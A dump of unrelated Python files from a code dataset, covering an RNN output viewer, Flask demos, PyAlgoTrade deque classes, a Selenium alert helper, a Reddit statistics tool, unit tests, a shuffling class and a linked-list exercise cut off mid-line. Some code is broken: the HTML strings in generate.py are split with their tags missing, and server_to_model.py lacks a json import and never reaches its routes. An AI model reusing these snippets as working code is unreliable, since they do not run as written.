''\n seed_html = addContent(seed_html, header(\n 'Seed Sequence', color='darkblue'))\n seed_html = addContent(seed_html,\n box(remove_spaces(' '.join(original_sequence))))\n\n gen_html = ''\n gen_html = addContent(gen_html, header('RNN Generated', color='darkred'))\n gen_html = addContent(gen_html, box(remove_spaces(' '.join(gen_list[0]))))\n\n a_html = ''\n a_html = addContent(a_html, header('Actual', color='darkgreen'))\n a_html = addContent(a_html, box(remove_spaces(' '.join(a))))\n\n return seed_html, gen_html, a_html\n\nfrom IPython.display import HTML\n \ndef header(text, color='black'):\n raw_html = f'

' + \\\n str(text) + '

'\n return raw_html\n\n\ndef box(text):\n raw_html = '
' + \\\n str(text)+'
'\n return raw_html\n\n\ndef addContent(old_html, raw_html):\n old_html += raw_html\n return old_html\n\nfrom keras.models import load_model\n\ndef remove_spaces(text):\n return text\n\nif __name__ == '__main__':\n text = read_alice()\n TRAINING_LENGTH = 50\n word_idx, idx_word, num_words, word_counts, abstracts, sequences, features, labels = make_sequences([text], TRAINING_LENGTH, lower=True)\n \n model = load_model('./model/model.h5')\n seed_html, gen_html, a_html = generate_output(model, sequences, idx_word, training_length=TRAINING_LENGTH)\n HTML(seed_html)\n HTML(gen_html)\n HTML(a_html)\n print(seed_html)\n print(gen_html)\n print(a_html)","sub_path":"analysis/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":3847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"558329261","text":"from flask import Flask, render_template, request\n\napp = Flask(__name__)\n\n@app.route('/', methods = ('GET','POST'))\n\ndef index():\n nome = None\n sobrenome = None\n criatura = None\n imagem = None\n\n if request.method == 'POST':\n nome = request.form['nome']\n sobrenome = request.form['sobrenome']\n criatura = request.form['criatura']\n\n if criatura == 'elfo':\n imagem = '/static/elfo.jpg'\n elif criatura == 'orc':\n imagem = '/static/orc.jpg'\n elif criatura == 'hobbit':\n imagem = '/static/hobbit.jpg'\n else:\n imagem = None\n\n return render_template('index.html', nome = nome, sobrenome = sobrenome, criatura = criatura, imagem = imagem)\n\nif (__name__) == ('__main__'):\n app.run(debug=True)","sub_path":"Aula_06/Exemplo_01/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"178433944","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/winkidney/.virtualenvs/huobi/lib/python2.7/site-packages/pyalgotrade/utils/collections.py\n# Compiled at: 2016-11-29 01:45:48\n\"\"\"\n.. moduleauthor:: Gabriel Martin Becedillas Ruiz \n\"\"\"\nimport numpy as np\n\ndef lt(v1, v2):\n if v1 is None:\n return True\n else:\n if v2 is None:\n return False\n else:\n return v1 < v2\n\n return\n\n\ndef intersect(values1, values2, skipNone=False):\n ix1 = []\n ix2 = []\n values = []\n i1 = 0\n i2 = 0\n while i1 < len(values1) and i2 < len(values2):\n v1 = values1[i1]\n v2 = values2[i2]\n if v1 == v2 and (v1 is not None or skipNone is False):\n ix1.append(i1)\n ix2.append(i2)\n values.append(v1)\n i1 += 1\n i2 += 1\n elif lt(v1, v2):\n i1 += 1\n else:\n i2 += 1\n\n return (\n values, ix1, ix2)\n\n\nclass NumPyDeque(object):\n\n def __init__(self, maxLen, dtype=float):\n assert maxLen > 0, 'Invalid maximum length'\n self.__values = np.empty(maxLen, dtype=dtype)\n self.__maxLen = maxLen\n self.__nextPos = 0\n\n def getMaxLen(self):\n return self.__maxLen\n\n def append(self, value):\n if self.__nextPos < self.__maxLen:\n self.__values[self.__nextPos] = value\n self.__nextPos += 1\n else:\n self.__values[0:(-1)] = self.__values[1:]\n self.__values[self.__nextPos - 1] = value\n\n def data(self):\n if self.__nextPos < self.__maxLen:\n ret = self.__values[0:self.__nextPos]\n else:\n ret = self.__values\n return ret\n\n def resize(self, maxLen):\n assert maxLen > 0, 'Invalid maximum length'\n values = np.empty(maxLen, dtype=self.__values.dtype)\n lastValues = self.__values[0:self.__nextPos]\n values[0:(min(maxLen, len(lastValues)))] = lastValues[-1 * min(maxLen, len(lastValues)):]\n self.__values = values\n self.__maxLen = maxLen\n if self.__nextPos >= self.__maxLen:\n self.__nextPos = self.__maxLen\n\n def __len__(self):\n return self.__nextPos\n\n def __getitem__(self, key):\n return self.data()[key]\n\n\nclass ListDeque(object):\n\n def __init__(self, maxLen):\n assert maxLen > 0, 'Invalid maximum length'\n self.__values = []\n self.__maxLen = maxLen\n\n def getMaxLen(self):\n return self.__maxLen\n\n def append(self, value):\n self.__values.append(value)\n if len(self.__values) > self.__maxLen:\n self.__values.pop(0)\n\n def data(self):\n return self.__values\n\n def resize(self, maxLen):\n assert maxLen > 0, 'Invalid maximum length'\n self.__maxLen = maxLen\n self.__values = self.__values[-1 * maxLen:]\n\n def __len__(self):\n return len(self.__values)\n\n def __getitem__(self, key):\n return self.__values[key]","sub_path":"pycfiles/PyAlgoTrade.wequant-0.18.linux-x86_64.tar/collections.py","file_name":"collections.py","file_ext":"py","file_size_in_byte":3110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"434449801","text":"from apptio_automation.Framework.extensions.Webdriverwait_extensions import WaitExtensions\r\nfrom apptio_automation.Framework.Environment_setup import EnvironmentSetup\r\nimport selenium.common.exceptions as exception\r\nfrom selenium.webdriver.common.alert import Alert\r\n\r\nimport logging\r\nimport apptio_automation.Framework.Extensions.Custom_logger as cl\r\n\r\nclass AlertWindow(EnvironmentSetup):\r\n log = cl.customLogger(logging.DEBUG)\r\n def is_alert_present(self,time_to_wait): \r\n try:\r\n wait_ext = WaitExtensions()\r\n if wait_ext.Wait_for_alert_present(time_to_wait):\r\n EnvironmentSetup.get_driver().switch_to_alert()\r\n self.log.info(\"Switch to Alert is executed, so returning 'True' value\")\r\n return True\r\n except exception.NoAlertPresentException:\r\n self.log.warning(\"Given alert is not present, so returning 'False' value\")\r\n return False\r\n def get_text_in_alert(self):\r\n var_text = Alert(EnvironmentSetup.get_driver()).text\r\n self.log.info(\"Text from the Alert is '{}'\".format(var_text))\r\n return var_text\r\n def accept_alert(self):\r\n Alert(EnvironmentSetup.get_driver()).accept()\r\n\r\n def dismiss_alert(self):\r\n Alert(EnvironmentSetup.get_driver()).dismiss()\r\n","sub_path":"apptio_automation1/Framework/Extensions/Alert.py","file_name":"Alert.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"383289137","text":"from flask import Flask,render_template,request,Response\nfrom socket import *\n\n\nHOST = '127.0.0.1'\nPORT = 7777\nBUF_SIZE = 1024\n\napp = Flask(__name__)\napp.debug = True\n\n\nserverSock = socket(AF_INET,SOCK_STREAM)\nserverSock.bind((HOST,PORT))\nserverSock.listen()\n\nconnectionSock, addr = serverSock.accept()\nprint(str(addr),'Success Connection\\n')\n\n\ndef send(sock):\n\tsendData = input('>>>') #임시로 테스트를 위해 서버측에서 데이터를 콘솔로 입력하는 부분\n\tsock.send(sendData.encode('utf-8'))\n\t\ndef receive(sock):\n\trecvData = sock.recv(BUF_SIZE)\n\tprint('Model: ',recvData.decode('utf-8')) #임시로 서버측 콘솔에 대답을 띄움\n\t\n\t\nwhile True: #서버측 반복부분\n\tsend(connectionSock)\n\treceive(connectionSock)\n\n#밑은 flask 부분이라 상관없이 동작함\n \n@app.route(\"/test\",methods=['POST'])\ndef test():\n record = json.loads(request.data)\n new_records =[]\n with open('/tmp/data.txt','r') as f:\n data = f.read()\n records = json.loads(data)\n for r in records:\n if r['name'] == record['name']:\n r['email'] = record['email']\n new_records.append(r)\n with open('/tmp/data.txt','w') as f:\n f.write(json.dumps(new_records,indent=2))\n return jsonify(record)\n\n\n\n@app.route(\"/chatbot\",methods=['POST'])\ndef req1():\n data = request.json\n sentence = data['sentence']\n print (sentence)\n return sentence\n\n\n\n@app.route(\"/example\")\ndef example():\n return render_template(\"example.html\")\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0')\n \n \n","sub_path":"server_to_model.py","file_name":"server_to_model.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"599549695","text":"\n\n#calss header\nclass _WHITING():\n\tdef __init__(self,): \n\t\tself.name = \"WHITING\"\n\t\tself.definitions = [u'a small, black and silver sea fish, eaten as food']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_whiting.py","file_name":"_whiting.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"327559300","text":"# Copyright 2016 Hewlett Packard Enterprise Company, L.P.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"Test class for Utils Module.\"\"\"\n\nimport mock\nimport testtools\n\nfrom proliantutils import exception\nfrom proliantutils.ilo import client\nfrom proliantutils.ilo import firmware_controller\nfrom proliantutils.ilo import ribcl\nfrom proliantutils import utils\n\n\nclass UtilsTestCase(testtools.TestCase):\n\n @mock.patch.object(ribcl.RIBCLOperations, 'get_product_name')\n def setUp(self, product_mock):\n super(UtilsTestCase, self).setUp()\n product_mock.return_value = 'Gen8'\n self.some_compact_fw_file = 'some_compact_fw_file.scexe'\n self.client = client.IloClient(\"1.2.3.4\", \"admin\", \"Admin\")\n\n @mock.patch.object(firmware_controller, 'get_fw_extractor',\n spec_set=True, autospec=True)\n def test_process_firmware_image_throws_for_unknown_firmware_file_format(\n self, get_extractor_mock):\n # | GIVEN |\n get_extractor_mock.side_effect = exception.InvalidInputError\n # | WHEN | & | THEN |\n self.assertRaises(exception.InvalidInputError,\n utils.process_firmware_image,\n 'invalid_compact_fw_file',\n self.client)\n\n @mock.patch.object(firmware_controller, 'get_fw_extractor',\n spec_set=True, autospec=True)\n def test_process_firmware_image_throws_for_failed_extraction(\n self, get_extractor_mock):\n # | GIVEN |\n exc = exception.ImageExtractionFailed(\n image_ref='some_file', reason='God only knows!')\n get_extractor_mock.return_value.extract.side_effect = exc\n # | WHEN | & | THEN |\n self.assertRaises(exception.ImageExtractionFailed,\n utils.process_firmware_image,\n self.some_compact_fw_file,\n self.client)\n\n @mock.patch.object(firmware_controller, 'get_fw_extractor',\n spec_set=True, autospec=True)\n def test_process_firmware_image_calls_extract_of_fw_extractor_object(\n self, get_extractor_mock):\n # process_firmware_image calls extract on the firmware_extractor\n # instance\n # | GIVEN |\n get_extractor_mock.return_value.extract.return_value = (\n 'core_fw_file.bin', True)\n # | WHEN |\n raw_fw_file, to_upload, is_extracted = (\n utils.process_firmware_image(self.some_compact_fw_file,\n self.client))\n # | THEN |\n get_extractor_mock.assert_called_once_with(self.some_compact_fw_file)\n get_extractor_mock.return_value.extract.assert_called_once_with()\n\n @mock.patch.object(firmware_controller, 'get_fw_extractor',\n spec_set=True, autospec=True)\n def test_process_firmware_image_asks_not_to_upload_firmware_file(\n self, get_extractor_mock):\n # | GIVEN |\n get_extractor_mock.return_value.extract.return_value = (\n 'core_fw_file.bin', True)\n self.client.model = 'Gen8'\n # | WHEN |\n raw_fw_file, to_upload, is_extracted = (\n utils.process_firmware_image(self.some_compact_fw_file,\n self.client))\n # | THEN |\n self.assertEqual('core_fw_file.bin', raw_fw_file)\n self.assertFalse(to_upload)\n\n @mock.patch.object(firmware_controller, 'get_fw_extractor',\n spec_set=True, autospec=True)\n def test_process_firmware_image_asks_to_upload_firmware_file(\n self, get_extractor_mock):\n # if fw_version is greater than or equal to 2.0\n # | GIVEN |\n get_extractor_mock.return_value.extract.return_value = (\n 'core_fw_file.bin', True)\n self.client.model = 'Gen9'\n # | WHEN |\n raw_fw_file, to_upload, is_extracted = (\n utils.process_firmware_image(self.some_compact_fw_file,\n self.client))\n # | THEN |\n self.assertEqual('core_fw_file.bin', raw_fw_file)\n self.assertTrue(to_upload)\n","sub_path":"proliantutils/tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":4723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"13518204","text":"#!/usr/bin/env python\n\nnum = input(\"Enter a number(number < 100000): \")\n\ncount = len(num)\n\nif count > 5:\n print(\"Please enter a number < 100000\")\nelse:\n for i in num:\n print(i)\n\n print(\"This number's length is %d !\" % count)\n","sub_path":"P17083-贾璐/learn/circulation_training.py","file_name":"circulation_training.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"140028688","text":"#!/usr/bin/env python\nimport re\nimport sys\nimport time\nfrom collections import defaultdict\nfrom datetime import datetime\nfrom praw import Reddit\nfrom praw.errors import ExceptionList, RateLimitExceeded\nfrom praw.objects import Redditor\nfrom six import iteritems, itervalues, text_type as tt\nfrom .helpers import arg_parser\n\nDAYS_IN_SECONDS = 60 * 60 * 24\nMAX_BODY_SIZE = 10000\n\n\ndef safe_title(submission):\n return submission.title.replace('\\n', ' ').strip()\n\n\nclass SubRedditStats(object):\n post_prefix = tt('Subreddit Stats:')\n post_header = tt('---\\n###{0}\\n')\n post_footer = tt('>Generated with [BBoe](/u/bboe)\\'s [Subreddit Stats]'\n '(https://github.com/praw-dev/prawtools) \\n{0}'\n 'SRS Marker: {1}')\n re_marker = re.compile('SRS Marker: (\\d+)')\n\n @staticmethod\n def _previous_max(submission):\n try:\n val = SubRedditStats.re_marker.findall(submission.selftext)[-1]\n return float(val)\n except (IndexError, TypeError):\n print('End marker not found in previous submission. Aborting')\n sys.exit(1)\n\n @staticmethod\n def _permalink(permalink):\n tokens = permalink.split('/')\n if tokens[8] == '': # submission\n return tt('/comments/{0}/_/').format(tokens[6])\n else: # comment\n return tt('/comments/{0}/_/{1}?context=1').format(tokens[6],\n tokens[8])\n\n @staticmethod\n def _user(user):\n if user is None:\n return '_deleted_'\n elif isinstance(user, Redditor):\n user = str(user)\n return tt('[{0}](/user/{1})').format(user.replace('_', '\\_'), user)\n\n @staticmethod\n def _submit(func, *args, **kwargs):\n def sleep(sleep_time):\n print('\\tSleeping for {0} seconds'.format(sleep_time))\n time.sleep(sleep_time)\n\n while True:\n try:\n return func(*args, **kwargs)\n except RateLimitExceeded as error:\n sleep(error.sleep_time)\n except ExceptionList as exception_list:\n for error in exception_list.errors:\n if isinstance(error, RateLimitExceeded):\n sleep(error.sleep_time)\n break\n else:\n raise\n\n def __init__(self, subreddit, site, verbosity):\n self.reddit = Reddit(str(self), site)\n self.subreddit = self.reddit.get_subreddit(subreddit)\n self.verbosity = verbosity\n self.submissions = []\n self.comments = []\n self.submitters = defaultdict(list)\n self.commenters = defaultdict(list)\n self.min_date = 0\n self.max_date = time.time() - DAYS_IN_SECONDS * 3\n self.prev_srs = None\n # Config\n self.reddit.config.comment_limit = -1 # Fetch max comments possible\n self.reddit.config.comment_sort = 'top'\n\n def login(self, user, pswd):\n if self.verbosity > 0:\n print('Logging in')\n self.reddit.login(user, pswd)\n\n def msg(self, msg, level, overwrite=False):\n if self.verbosity >= level:\n sys.stdout.write(msg)\n if overwrite:\n sys.stdout.write('\\r')\n sys.stdout.flush()\n else:\n sys.stdout.write('\\n')\n\n def prev_stat(self, prev_url):\n submission = self.reddit.get_submission(prev_url)\n self.min_date = self._previous_max(submission)\n self.prev_srs = prev_url\n\n def fetch_recent_submissions(self, max_duration, after, exclude_self,\n since_last=True):\n '''Fetches recent submissions in subreddit with boundaries.\n\n Does not include posts within the last three days as their scores may\n not be representative.\n\n Keyword arguments:\n max_duration -- When set, specifies the number of days to include\n after -- When set, fetch all submission after this submission id.\n exclude_self -- When true, don't include self posts.\n since_last -- When true use info from last submission to determine the\n stop point\n '''\n if max_duration:\n self.min_date = self.max_date - DAYS_IN_SECONDS * max_duration\n params = {'after': after} if after else None\n self.msg('DEBUG: Fetching submissions', 1)\n for submission in self.subreddit.get_new_by_date(limit=None,\n params=params):\n if submission.created_utc > self.max_date:\n continue\n if submission.created_utc <= self.min_date:\n break\n if (since_last and str(submission.author) == str(self.reddit.user)\n and submission.title.startswith(self.post_prefix)):\n # Use info in this post to update the min_date\n # And don't include this post\n self.msg(tt('Found previous: {0}')\n .format(safe_title(submission)), 2)\n if self.prev_srs is None: # Only use the most recent\n self.min_date = max(self.min_date,\n self._previous_max(submission))\n self.prev_srs = submission.permalink\n continue\n if exclude_self and submission.is_self:\n continue\n self.submissions.append(submission)\n num_submissions = len(self.submissions)\n self.msg('DEBUG: Found {0} submissions'.format(num_submissions), 1)\n if num_submissions == 0:\n return False\n\n # Update real min and max dates\n self.submissions.sort(key=lambda x: x.created_utc)\n self.min_date = self.submissions[0].created_utc\n self.max_date = self.submissions[-1].created_utc\n return True\n\n def fetch_top_submissions(self, top, exclude_self):\n '''Fetches top 1000 submissions by some top value.\n\n Keyword arguments:\n top -- One of week, month, year, all\n exclude_self -- When true, don't include self posts.\n '''\n if top not in ('day', 'week', 'month', 'year', 'all'):\n raise TypeError('{0!r} is not a valid top value'.format(top))\n self.msg('DEBUG: Fetching submissions', 1)\n params = {'t': top}\n for submission in self.subreddit.get_top(limit=None, params=params):\n if exclude_self and submission.is_self:\n continue\n self.submissions.append(submission)\n num_submissions = len(self.submissions)\n self.msg('DEBUG: Found {0} submissions'.format(num_submissions), 1)\n if num_submissions == 0:\n return False\n\n # Update real min and max dates\n self.submissions.sort(key=lambda x: x.created_utc)\n self.min_date = self.submissions[0].created_utc\n self.max_date = self.submissions[-1].created_utc\n return True\n\n def process_submitters(self):\n self.msg('DEBUG: Processing Submitters', 1)\n for submission in self.submissions:\n if submission.author:\n self.submitters[str(submission.author)].append(submission)\n\n def process_commenters(self):\n num = len(self.submissions)\n self.msg('DEBUG: Processing Commenters on {0} submissions'.format(num),\n 1)\n for i, submission in enumerate(self.submissions):\n self.msg('{0}/{1} submissions'.format(i + 1, num), 2,\n overwrite=True)\n if submission.num_comments == 0:\n continue\n try:\n self.comments.extend(submission.all_comments_flat)\n except Exception as exception:\n print('Exception fetching comments on {0!r}: {1}'.format(\n submission.content_id, str(exception)))\n for orphans in itervalues(submission._orphaned):\n self.comments.extend(orphans)\n for comment in self.comments:\n if comment.author:\n self.commenters[str(comment.author)].append(comment)\n\n def basic_stats(self):\n sub_ups = sum(x.ups for x in self.submissions)\n sub_downs = sum(x.downs for x in self.submissions)\n comm_ups = sum(x.ups for x in self.comments)\n comm_downs = sum(x.downs for x in self.comments)\n\n if sub_ups > 0 or sub_downs > 0:\n sub_up_perc = sub_ups * 100 / (sub_ups + sub_downs)\n else:\n sub_up_perc = 100\n if comm_ups > 0 or comm_downs > 0:\n comm_up_perc = comm_ups * 100 / (comm_ups + comm_downs)\n else:\n comm_up_perc = 100\n\n values = [('Total', len(self.submissions), '', len(self.comments), ''),\n ('Unique Redditors', len(self.submitters), '',\n len(self.commenters), ''),\n ('Upvotes', sub_ups, '{0}%'.format(sub_up_perc),\n comm_ups, '{0}%'.format(comm_up_perc)),\n ('Downvotes', sub_downs, '{0}%'.format(100 - sub_up_perc),\n comm_downs, '{0}%'.format(100 - comm_up_perc))]\n\n retval = '||Submissions|%|Comments|%|\\n:-:|--:|--:|--:|--:\\n'\n for quad in values:\n retval += '__{0}__|{1}|{2}|{3}|{4}\\n'.format(*quad)\n return retval + '\\n'\n\n def top_submitters(self, num, num_submissions):\n num = min(num, len(self.submitters))\n if num <= 0:\n return ''\n\n top_submitters = sorted(iteritems(self.submitters), reverse=True,\n key=lambda x: (sum(y.score for y in x[1]),\n len(x[1])))[:num]\n\n retval = self.post_header.format('Top Submitters\\' Top Submissions')\n for (author, submissions) in top_submitters:\n retval += '0. {0} pts, {1} submissions: {2}\\n'.format(\n sum(x.score for x in submissions), len(submissions),\n self._user(author))\n for sub in sorted(submissions, reverse=True,\n key=lambda x: x.score)[:num_submissions]:\n title = safe_title(sub)\n if sub.permalink != sub.url:\n retval += tt(' 0. [{0}]({1})').format(title, sub.url)\n else:\n retval += tt(' 0. {0}').format(title)\n retval += ' ({0} pts, [{1} comments]({2}))\\n'.format(\n sub.score, sub.num_comments,\n self._permalink(sub.permalink))\n retval += '\\n'\n return retval\n\n def top_commenters(self, num):\n score = lambda x: x.ups - x.downs\n\n num = min(num, len(self.commenters))\n if num <= 0:\n return ''\n\n top_commenters = sorted(iteritems(self.commenters), reverse=True,\n key=lambda x: (sum(score(y) for y in x[1]),\n len(x[1])))[:num]\n\n retval = self.post_header.format('Top Commenters')\n for author, comments in top_commenters:\n retval += '0. {0} ({1} pts, {2} comments)\\n'.format(\n self._user(author), sum(score(x) for x in comments),\n len(comments))\n return '{0}\\n'.format(retval)\n\n def top_submissions(self, num):\n num = min(num, len(self.submissions))\n if num <= 0:\n return ''\n\n top_submissions = sorted(self.submissions, reverse=True,\n key=lambda x: x.score)[:num]\n\n retval = self.post_header.format('Top Submissions')\n for sub in top_submissions:\n title = safe_title(sub)\n if sub.permalink != sub.url:\n retval += tt('0. [{0}]({1})').format(title, sub.url)\n else:\n retval += tt('0. {0}').format(title)\n retval += ' by {0} ({1} pts, [{2} comments]({3}))\\n'.format(\n self._user(sub.author), sub.score, sub.num_comments,\n self._permalink(sub.permalink))\n return tt('{0}\\n').format(retval)\n\n def top_comments(self, num):\n score = lambda x: x.ups - x.downs\n\n num = min(num, len(self.comments))\n if num <= 0:\n return ''\n\n top_comments = sorted(self.comments, reverse=True,\n key=score)[:num]\n retval = self.post_header.format('Top Comments')\n for comment in top_comments:\n title = safe_title(comment.submission)\n retval += tt('0. {0} pts: {1}\\'s [comment]({2}) in {3}\\n').format(\n score(comment), self._user(comment.author),\n self._permalink(comment.permalink), title)\n return tt('{0}\\n').format(retval)\n\n def publish_results(self, subreddit, submitters, commenters, submissions,\n comments, top, debug=False):\n def timef(timestamp, date_only=False):\n dtime = datetime.fromtimestamp(timestamp)\n if date_only:\n retval = dtime.strftime('%Y-%m-%d')\n else:\n retval = dtime.strftime('%Y-%m-%d %H:%M PDT')\n return retval\n\n if self.prev_srs:\n prev = '[Prev SRS]({0}) \\n'.format(self._permalink(self.prev_srs))\n else:\n prev = ''\n\n basic = self.basic_stats()\n t_commenters = self.top_commenters(commenters)\n t_submissions = self.top_submissions(submissions)\n t_comments = self.top_comments(comments)\n footer = self.post_footer.format(prev, self.max_date)\n\n body = ''\n num_submissions = 10\n while body == '' or len(body) > MAX_BODY_SIZE and num_submissions > 2:\n t_submitters = self.top_submitters(submitters, num_submissions)\n body = (basic + t_submitters + t_commenters + t_submissions +\n t_comments + footer)\n num_submissions -= 1\n\n if len(body) > MAX_BODY_SIZE:\n print('The resulting message is too big. Not submitting.')\n debug = True\n\n # Set the initial title\n base_title = '{0} {1} {2}posts from {3} to {4}'.format(\n self.post_prefix, str(self.subreddit),\n 'top ' if top else '', timef(self.min_date, True),\n timef(self.max_date))\n\n submitted = False\n while not debug and not submitted:\n if subreddit: # Verify the user wants to submit to the subreddit\n msg = ('You are about to submit to subreddit {0!r} as {1!r}.\\n'\n 'Are you sure? yes/[no]: '.format(\n subreddit, str(self.reddit.user)))\n sys.stdout.write(msg)\n sys.stdout.flush()\n if sys.stdin.readline().strip().lower() not in ['y', 'yes']:\n subreddit = None\n elif not subreddit: # Prompt for the subreddit to submit to\n msg = ('Please enter a subreddit to submit to (press return to'\n ' abort): ')\n sys.stdout.write(msg)\n sys.stdout.flush()\n subreddit = sys.stdin.readline().strip()\n if not subreddit:\n print('Submission aborted\\n')\n debug = True\n\n # Vary the title depending on where posting\n if str(self.subreddit) == subreddit:\n title = '{0} {1}posts from {2} to {3}'.format(\n self.post_prefix, 'top ' if top else '',\n timef(self.min_date, True), timef(self.max_date))\n else:\n title = base_title\n\n if subreddit:\n # Attempt to make the submission\n try:\n res = self._submit(self.reddit.submit, subreddit, title,\n text=body)\n print(res.permalink)\n submitted = True\n except Exception as error:\n raise\n print('The submission failed:' + str(error))\n subreddit = None\n\n if not submitted:\n print(base_title)\n print(body)\n\n\ndef main():\n parser = arg_parser(usage='usage: %prog [options] subreddit')\n parser.add_option('-s', '--submitters', type='int', default=5,\n help='Number of top submitters to display '\n '[default %default]')\n parser.add_option('-c', '--commenters', type='int', default=10,\n help='Number of top commenters to display '\n '[default %default]')\n parser.add_option('-a', '--after',\n help='Submission ID to fetch after')\n parser.add_option('-d', '--days', type='int', default=32,\n help=('Number of previous days to include submissions '\n 'from. Use 0 for unlimited. Default: %default'))\n parser.add_option('-D', '--debug', action='store_true',\n help='Enable debugging mode. Does not post stats.')\n parser.add_option('-R', '--submission-reddit',\n help=('Subreddit to submit to. If not present, '\n 'submits to the subreddit processed'))\n parser.add_option('-t', '--top',\n help=('Run on top submissions either by day, week, '\n 'month, year, or all'))\n parser.add_option('', '--no-self', action='store_true',\n help=('Do not include self posts (and their comments) in'\n ' the calculation. '))\n parser.add_option('', '--prev',\n help='Statically provide the URL of previous SRS page.')\n parser.add_option('', '--include-prev', action='store_true',\n help='Don\\'t try to avoid overlap with a previous SRS.')\n\n options, args = parser.parse_args()\n if len(args) != 1:\n parser.error('Must provide subreddit')\n\n if options.submission_reddit:\n submission_reddit = options.submission_reddit\n else:\n submission_reddit = args[0]\n\n srs = SubRedditStats(args[0], options.site, options.verbose)\n srs.login(options.user, options.pswd)\n if options.prev:\n srs.prev_stat(options.prev)\n if options.top:\n found = srs.fetch_top_submissions(options.top, options.no_self)\n else:\n since_last = not options.include_prev\n found = srs.fetch_recent_submissions(max_duration=options.days,\n after=options.after,\n exclude_self=options.no_self,\n since_last=since_last)\n if not found:\n print('No submissions were found.')\n return 1\n srs.process_submitters()\n if options.commenters > 0:\n srs.process_commenters()\n srs.publish_results(submission_reddit, options.submitters,\n options.commenters, 5, 5, options.top, options.debug)\n","sub_path":"prawtools/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":19043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"418653009","text":"# -*- coding: utf-8 -*-\n\nimport logging\nimport random\n\n\n\"\"\"\nClasses to shuffle and put icons with given distributions.\n\"\"\"\n\n__author__ = \"Taku MURAKAMI\"\n__copyright__ = \"Copyright (c) 2018, Taku MURAKAMI\"\n__version__ = \"0.1.0\"\n__maintainer__ = \"Taku MURAKAMI\"\n__email__ = \"murakami.taku.17@shizuoka.ac.jp\"\n__status__ = \"dev\"\n__date__ = \"Oct 22, 2018\"\n\nlogger = logging.getLogger(__name__)\n\n\nclass Shuffle_list:\n \"\"\"\n Class to shuffle and put icons with given distributions.\n \"\"\"\n \n seeds = 0\n \n def __init__(self):\n \"\"\"\n Parameters\n ----------\n self.seeds: int\n Random seeds fixed for each instance of this class.\n self.shuffled_list: list of icons\n Shuffled list generated by make_shuffled_list method.\n The length of the list equals to the number of icons.\n \"\"\"\n self.seeds = Shuffle_list.seeds\n Shuffle_list.change_random_seeds()\n self.shuffled_list = []\n \n @classmethod\n def change_random_seeds(cls):\n \"\"\"\n Changes random seeds of the class.\n \"\"\"\n cls.seeds += 1\n \n def make_shuffled_list(self, **icons_dic):\n \"\"\"\n Makes shuffled list.\n \n Auguments\n ---------\n icons_dic: dictionary of icons and numbers.\n In the dictionary, key is an icon and value is int value,\n which means the number of icon.\n example - {\"Mg\": 72, \"Al\": 36, \"Y\": 36}\n \n Return\n ------\n self: Shuffle_list object\n \"\"\"\n for key, value in icons_dic.items():\n for index in range(value):\n self.shuffled_list.append(key)\n \n random.shuffle(self.shuffled_list)\n \n return self\n \n def put_shuffled_list(self):\n \"\"\"\n Puts shuffled list.\n \"\"\"\n return str(\"\\n\".join(self.shuffled_list))\n \n\nif __name__ == \"__main__\":\n shuffle_list_list = [\n Shuffle_list().make_shuffled_list(Mg=72, Al=36, Y=36),\n Shuffle_list().make_shuffled_list(Mg=72, Al=36, Y=36),\n Shuffle_list().make_shuffled_list(Mg=108,Al=18, Y=18),\n Shuffle_list().make_shuffled_list(Mg=108,Al=18, Y=18)\n ]\n \n for index, shuffle_list in enumerate(shuffle_list_list):\n print(str(index) + \":\\n\" + shuffle_list.put_shuffled_list() + \"\\n\")\n \n","sub_path":"src/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"599262766","text":"# Given a singly linked list, group all odd nodes together followed by the even nodes. \n# Please note here we are talking about the node number and not the value in the nodes.\n# You should try to do it in place. The program should run in O(1) space complexity and O(nodes) time complexity.\n\n# Example:\n# Given 1->2->3->4->5->NULL,\n# return 1->3->5->2->4->NULL.\n\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def oddEvenList(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n if not head or not head.next: return head\n oh, eh = head, head.next\n ot, et = oh, eh\n while et and et.next:\n temp1 = et.next\n temp2 = 